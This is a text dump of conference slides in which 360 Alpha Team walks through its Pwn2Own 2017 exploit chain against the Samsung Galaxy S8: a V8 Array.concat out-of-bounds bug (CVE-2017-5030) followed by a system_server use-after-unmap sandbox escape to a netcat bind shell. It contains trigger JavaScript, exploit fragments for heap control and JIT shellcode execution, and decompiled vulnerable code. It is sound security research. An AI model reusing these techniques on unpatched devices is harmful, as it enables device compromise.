Attacks and analysis of the Samsung S8 from Mobile PWN2OWN Jianjun - - PowerPoint PPT Presentation

attacks and analysis of the samsung s8 from mobile pwn2own
SMART_READER_LITE
LIVE PREVIEW

Attacks and analysis of the Samsung S8 from Mobile PWN2OWN Jianjun - - PowerPoint PPT Presentation

Attacks and analysis of the Samsung S8 from Mobile PWN2OWN Jianjun Dai(@Jioun_dai) Guang Gong(@oldfresher) @360 Alpha Team About Us Alpha Team @360 Security 100+ Android vulnerabilities Google Qualcomm etc Won the highest


slide-1
SLIDE 1

Attacks and analysis of the Samsung S8 from Mobile PWN2OWN

Jianjun Dai(@Jioun_dai) Guang Gong(@oldfresher) @360 Alpha Team

slide-2
SLIDE 2

About Us

  • Alpha Team @360 Security
  • 100+ Android vulnerabilities(Google Qualcomm etc)
  • Won the highest reward in the history of the ASR

program.

  • 5 Pwn contest winner

– Pwn2Own Mobile 2015( Nexus 6) – Pwn0Rama 2016 (Nexus 6p) – Pwn2Own 2016(Chrome) – PwnFest 2016(Pixel) – Pwn2Own Mobile 2017(Galaxy S8)

slide-3
SLIDE 3

How we pwned Samsung Galaxy S8 running Android Nougat

Two bugs forms the complete exploit chain

  • One V8 bug to compromise the renderer
  • One system_server bug to escape sandbox and

allows app install

slide-4
SLIDE 4

Agenda

  • Exploitation of V8 engine
  • Introduction a way to escape sandbox
  • Exploitation of System_server
  • Conclusion
slide-5
SLIDE 5

Exploitation of V8 engine

  • Introduction Samsung Internet Browser
  • Introduction and analyze the Chain of Bugs #1
  • CVE-2017-5030
  • Exploit CVE-2017-5030
slide-6
SLIDE 6

Samsung Internet Browser

  • Built-in browser for Samsung Galaxy S8
  • Based on Chromium source
  • Hereinafter Sbrowser
slide-7
SLIDE 7

CVE-2017-5030 – Chain of Bugs #1

  • Nday, first reported by Brendon Tiszka
  • Found by us with 360 Android vul scanner
  • Incredible, V8 in Sbrowser is not latest, even the

day of contest

slide-8
SLIDE 8

360 VulScanner

http://shouji.360.cn/vulscanner.html

slide-9
SLIDE 9

CVE-2017-5030 – Chain of Bugs #1

  • Array OOB Access Bug in V8 Array.concat
  • in Function IterateElements
slide-10
SLIDE 10

Vulnerable Code

switch (array->GetElementsKind()) { case FAST_SMI_ELEMENTS: case FAST_ELEMENTS: case FAST_HOLEY_SMI_ELEMENTS: case FAST_HOLEY_ELEMENTS: { // Run through the elements FixedArray and use HasElement and GetElement // to check the prototype for missing elements. Handle<FixedArray> elements(FixedArray::cast(array->elements())); int fast_length = static_cast<int>(length); DCHECK(fast_length <= elements->length()); FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, { Handle<Object> element_value(elements->get(j), isolate); //-----> OOB Access if (!element_value->IsTheHole()) { if (!visitor->visit(j, element_value)) return false; } else { Maybe<bool> maybe = JSReceiver::HasElement(array, j); if (!maybe.IsJust()) return false; if (maybe.FromJust()) { // Call GetElement on array, not its prototype, or getters won't // have the correct receiver. ASSIGN_RETURN_ON_EXCEPTION_VALUE( isolate, element_value, JSReceiver::GetElement(isolate, array, j), false); if (!visitor->visit(j, element_value)) return false;} //-----> trigger callback } }); break; }

slide-11
SLIDE 11

Trigger it

Function gc(){ var arr = new Array; for(var i=0;i<0x200000;i++) arr.push(new String); } var proxy = new Proxy([], { defineProperty() { if(w.length !=1){ w.length = 1; // shorten the array so the backstore pointer is relocated gc(); // force gc to move the array's elements backstore } return Object.defineProperty.apply(this, arguments); } }); class MyArray extends Array { // custom constructor which returns a proxy object static get[Symbol.species](){ return function() { return proxy; } }; } var w = new MyArray(10); w[1] = 0.1; w[2] = 0.1; var result = Array.prototype.concat.call(w); for (var i = 0; i < 10; i++) { // leak info document.write(result[i]); document.write("<br />"); }

slide-12
SLIDE 12

Patch for CVE-2017-5030

slide-13
SLIDE 13

Exploit CVE-2017-5030

  • Control the OOB Memory
  • Leak Fake ArrayBuffer
  • Arbitrary Memory R/W
  • Execute Shellcode
slide-14
SLIDE 14

Control the OOB Memory

function evil_callback(){ evil_callback.myarr.length=1; if(evil_callback.phase==0){ global[0]=new ArrayBuffer(magic_size); global[0][0]={}; for(var i=1;i<20;i++) global[0][i]=magic_number2; global[0][2]=text; global[0][3]=huge_func; global[1] = new Array(magic_size_for_container); for(var i=0;i<4;i++) global[1][i]=0.1; } …… scavenge(); return 0.1; }

slide-15
SLIDE 15

Control the OOB Memory

slide-16
SLIDE 16

Control the OOB Memory

slide-17
SLIDE 17

Leak Faked ArrayBuffer

function evil_callback(){ evil_callback.myarr.length=1; if(evil_callback.phase==0){ … }else if(evil_callback.phase==1){ //heap fengshui global[0]=magic_arr.push(evil_callback.backingstore) …… scavenge(); return 0.1; }

  • Triggered again
  • Concat function wrongly treat it as an object and

returns it in the result array

slide-18
SLIDE 18

Leak Faked ArrayBuffer

slide-19
SLIDE 19

Arbitrary Memory R/W

  • Construct ArrayBuffer in controlled double array
  • Modify ArrayBuffer’s backing_store to any address

in double array

  • Read and Write in ArrayBuffer->backing_store

ArrayBuffer map propeties elements bytelength backing_store …

slide-20
SLIDE 20

Execute Shellcode

var huge_str = "eval('');"; for(var i=0;i<8000;i++) huge_str += 'a.a;'; huge_str += "return 10;"; var huge_func = new Function('a',huge_str);

JIT Code in V8 is writable and executable, overwrite it to execute shellcode.

slide-21
SLIDE 21

Escape Sandbox

  • Possible Ways for Escaping
  • Binder call with Parcelable Object
slide-22
SLIDE 22

Possible Ways for Escaping

  • Browser IPC ------ difficult, magical vul need
  • System Services(Binder Call)
  • Serializable (CVE-2015-3825, etc)
  • Parcelable
  • Kernel(System Call) ------- difficult, especially Project Treble
slide-23
SLIDE 23

Binder call with Parcelable Object

  • Restriction of SeLinux imposed on Browser
  • An ingenious way to bypass
slide-24
SLIDE 24

Restriction of SeLinux imposed on Browser

  • Browser Processes
  • Isolated_app Domain

allow isolated_app activity_service:service_manager find; allow isolated_app display_service:service_manager find; allow isolated_app webviewupdate_service:service_manager find; neverallow isolated_app { service_manager_type

  • activity_service
  • display_service
  • webviewupdate_service

}:service_manager find;

system/sepolicy /isolated_app.te

slide-25
SLIDE 25

Restriction of SeLinux imposed on Browser

  • Getting System Services

ActivityManager manager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); Get System Services in the Domain isolated_app Retuened result getSystemService(LOCATION_SERVICE) null getSystemService(...) null getSystemService(ACTIVITY_SERVICE) ActivityManager getSystemService(DISPLAY_SERVICE) DisplayManager

A few services like activity_service can be got in sbrowser sandboxed process

slide-26
SLIDE 26

Restriction of SeLinux imposed on Browser

public final int startActivity(IApplicationThread caller, String callingPackage, Intent intent, String resolvedType, IBinder resultTo, String resultWho, int requestCode, int startFlags, ProfilerInfo profilerInfo, Bundle bOptions) { return startActivityAsUser(caller, callingPackage, intent, resolvedType, resultTo, resultWho, requestCode, startFlags, profilerInfo, bOptions, UserHandle.getCallingUserId()); } public final int startActivityAsUser(IApplicationThread caller, String callingPackage, Intent intent, String resolvedType, IBinder resultTo, String resultWho, int requestCode, int startFlags, ProfilerInfo profilerInfo, Bundle bOptions, int userId){ enforceNotIsolatedCaller("startActivity"); userId = mUserController.handleIncomingUser(Binder.getCallingPid(), Binder.getCallingUid(), userId, false, ALLOW_FULL_ONLY, "startActivity", null); // TODO: Switch to user app stacks here. return mActivityStarter.startActivityMayWait(caller, -1, callingPackage, intent, resolvedType, null, null, resultTo, resultWho, requestCode, startFlags, profilerInfo, null, null, bOptions, false, userId, null, null); } void enforceNotIsolatedCaller(String caller) { if (UserHandle.isIsolated(Binder.getCallingUid())) { throw new SecurityException("Isolated process not allowed to call " + caller); } }

slide-27
SLIDE 27

An ingenious way

About 600 classes implement the interface Parcelable, the member methodcreateFromParcel of all these classes can be called from sbrowser’s sandbox using binder call

public interface Parcelable { … public void writeToParcel(Parcel dest, int flags); public interface Creator<T> { public T createFromParcel(Parcel source); public T[] newArray(int size); …

}

slide-28
SLIDE 28

An ingenious way

A way to reach system_server without calling function enforceNotIsolatedCaller was found in ActivityManagerNative.

  • nTransact, that is remote transact by Binder call

case CONVERT_TO_TRANSLUCENT_TRANSACTION: { data.enforceInterface(IActivityManager.descriptor); IBinder token = data.readStrongBinder(); final Bundle bundle; if (data.readInt() == 0) { bundle = null; } else { bundle = data.readBundle(); } final ActivityOptions options = ActivityOptions.fromBundle(bundle); boolean converted = convertToTranslucent(token, options); reply.writeNoException(); reply.writeInt(converted ? 1 : 0); return true; }

slide-29
SLIDE 29

An ingenious way

public static ActivityOptions fromBundle(Bundle bOptions) { return bOptions != null ? new ActivityOptions(bOptions) : null; } public ActivityOptions(Bundle opts) {

  • pts.setDefusable(true);

mPackageName = opts.getString(KEY_PACKAGE_NAME); try { mUsageTimeReport = opts.getParcelable(KEY_USAGE_TIME_REPORT); } catch (RuntimeException e) { Slog.w(TAG, e); } mLaunchBounds = opts.getParcelable(KEY_LAUNCH_BOUNDS); mAnimationType = opts.getInt(KEY_ANIM_TYPE); switch (mAnimationType) { public final class Bundle extends BaseBundle implements Cloneable, Parcelable { … public void putParcelable(@Nullable String key, @Nullable Parcelable value) {…} public void putSerializable(@Nullable String key, @Nullable Serializable value) {…} … public <T extends Parcelable> T getParcelable(@Nullable String key) {…} public Serializable getSerializable(@Nullable String key) {…} …

slide-30
SLIDE 30

Exploitation of System_Server

  • Analyze the bug, Chain of Bugs #2
  • Exploit the bug
slide-31
SLIDE 31

Analyze the bug

Vulnerable

slide-32
SLIDE 32

Analyze the bug A Use-After-Unmap in grallocMap(…) of gralloc.exynos5.so

slide-33
SLIDE 33

Analyze the bug

__int64 __fastcall grallocMap(__int64 a1, private_handle_t *privhandle) { private_handle_t *privhandle_1; // x20@1 ... privhandle_1 = privhandle; v3 = a1; if ( privhandle->flags & 0x8004000 ) { //------------> please note, the following threeaddress will not be cleared if the flags are set carefully. privhandle->base1 = 0LL; privhandle->base2 = 0LL; privhandle->base = 0LL; } ... v17 =mmap(0LL,(signed int)privhandle_1->size1, 3LL, 1LL, (unsigned int)privhandle_1->fd, 0LL); if ( v17 == -1 ){ ......} else{ … fd1 = *(_QWORD *)&privhandle_1->fd1; if ( fd1 & 0x80000000 ){ tmp = (fd1 >> 32) & 0xFFFFFFFF; … } … if ( tmp & 0x80000000 ){ result = 0LL; } else if ( privhandle_1->format == 0x121 ) { //---------->by setting privhandle_1->format to 0x121 the function will be returned successfully, left privhandle_1->base2 unmodified, still controllable by sandboxed browser process. result = 0LL; } else{ privhandle_1->base2 = (void *)mmap(0LL, length, 3LL, 1LL, tmp, 0LL); ... } } return result; }

slide-34
SLIDE 34

Analyze the bug

int __fastcall grallocUnmap(private_handle_t *phandle) { private_handle_t *handle; // x19@1 … handle = phandle; v2 = *(_QWORD *)&phandle->format; length = 0LL; if ( (signed int)v2 <= 283 ){ ... } else{ switch ( (_DWORD)v2 ) { ... case 0x121: length = (signed int)((phandle->stride / 2 + 7) & 0xFFFFFFF8) * (signed __int64)(signed int)phandle->heigth + 256; LODWORD(v4) = munmap(phandle->base2, 0x40uLL); //-------------> we can unmap any page by this line ... handle->base2 = 0LL; break; case 0x125: ... default: break; } } v10 = handle->base; if ( v10 ) { LODWORD(v10) = munmap(v10, (signed int)handle->size1); ... } return (signed int)v10; }

slide-35
SLIDE 35

Analyze the bug

To trigger the aforementioned Use-After-Unmap bug

slide-36
SLIDE 36

Exploit the bug

  • Introduce some object structure in

System_Server

  • Control virtual function pointer
  • Netcat bind shell
slide-37
SLIDE 37

Object Structure in System_Server

public class GraphicBuffer implements Parcelable { … public GraphicBuffer createFromParcel(Parcel in) {…} }

Binder Call Renderer Process

class RefBase { public: void incStrong(const void* id) const; void decStrong(const void* id) const; void forceIncStrong(const void* id) const; ... virtual void onFirstRef(); virtual void onLastStrongRef(const void* id); //--->to be controlled virtual bool onIncStrongAttempted(uint32_t flags, const void* id); virtual void onLastWeakRef(const void* id); ... }; class GraphicBuffer : public ANativeObjectBase< ANativeWindowBuffer, GraphicBuffer, RefBase >, public Flattenable<GraphicBuffer>

Inherit

slide-38
SLIDE 38

Control Virtual Function Pointer

Bundle

GraphicBuffer

gadget gadget …

System_server

  • onLastStrongRef

memory1 Function code

System_server

  • onLastStrongRef

memory2 Shellcode Parse Bundle

slide-39
SLIDE 39

Netcat bind shell

system_server.te

dreamqltesq:/data/local/tmp # supolicy --dumpav sepolicy | grep system_server | grep exec [AV] 2246: ALLOW system_server-->logcat_exec (file) [execute ioctl getattr read lock execute_no_trans open] [AV] 2447: ALLOW system_server-->gpu_device (chr_file) [append execute write ioctl getattr read lock open] [AV] 3037: ALLOW system_server-->dalvikcache_data_file (file) [execute] [AV] 3726: ALLOW system_server-->shell_exec (file) [execute ioctl getattr read lock execute_no_trans open] [AV] 4187: ALLOW system_server-->dumpsys_exec (file) [execute execute_no_trans] [AV] 5141: ALLOW system_server-->toolbox_exec (file) [execute ioctl getattr read lock execute_no_trans open] 130|dreamqltesq:/data/local/tmp # supolicy --dumpav sepolicypixel | grep system_server | grep exec [AV] 660: ALLOW system_server-->system_file (file) [execute getattr execute_no_trans] [AV] 1814: ALLOW system_server-->zygote_exec (file) [ioctl getattr read lock open] [AV] 2493: ALLOW system_server-->toolbox_exec (file) [execute ioctl getattr read lock execute_no_trans open] [AV] 4023: ALLOW system_server-->logcat_exec (file) [execute ioctl getattr read lock execute_no_trans open] [AV] 6263: ALLOW system_server-->dalvikcache_data_file (file) [execute] dreamqltesq:/data/local/tmp # supolicy --dumpav sep | grep system_server | grep exec

Pixel sepolicy of system_server Galaxy s8 sepolicy of system_server

  • Weakness SeLinux Policy

neverallow system_server self:process execmem;

avoid lots of ROPs

slide-40
SLIDE 40

Netcat bind shell

  • Execute system

uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),10 04(input),1005(audio),1006(camera),1007(log),1008(compass),1009( mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1032(packag e_info),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_s tats),3007(net_bw_acct),3009(readproc),3010(wakelock) context=u:r:system_server:s0

slide-41
SLIDE 41
  • Start with a V8 OOB Access bug, by info leak and fake

ArrayBuffer object, get Arbitrary Memory R/W, and gain control of renderer process in Samsung browser

  • Use an Use-After-Unmap system_server vulnerability to

escape sandbox. Sending bundle objects to system_server which are controlled by renderer process, and gain code execute in system server.

  • Samsung browser should keep all the other components

updated to the latest, such as V8 engine

  • The sepolicy of system_server in S8 need to be

strengthened

Conclusion

slide-42
SLIDE 42

Thanks Q & A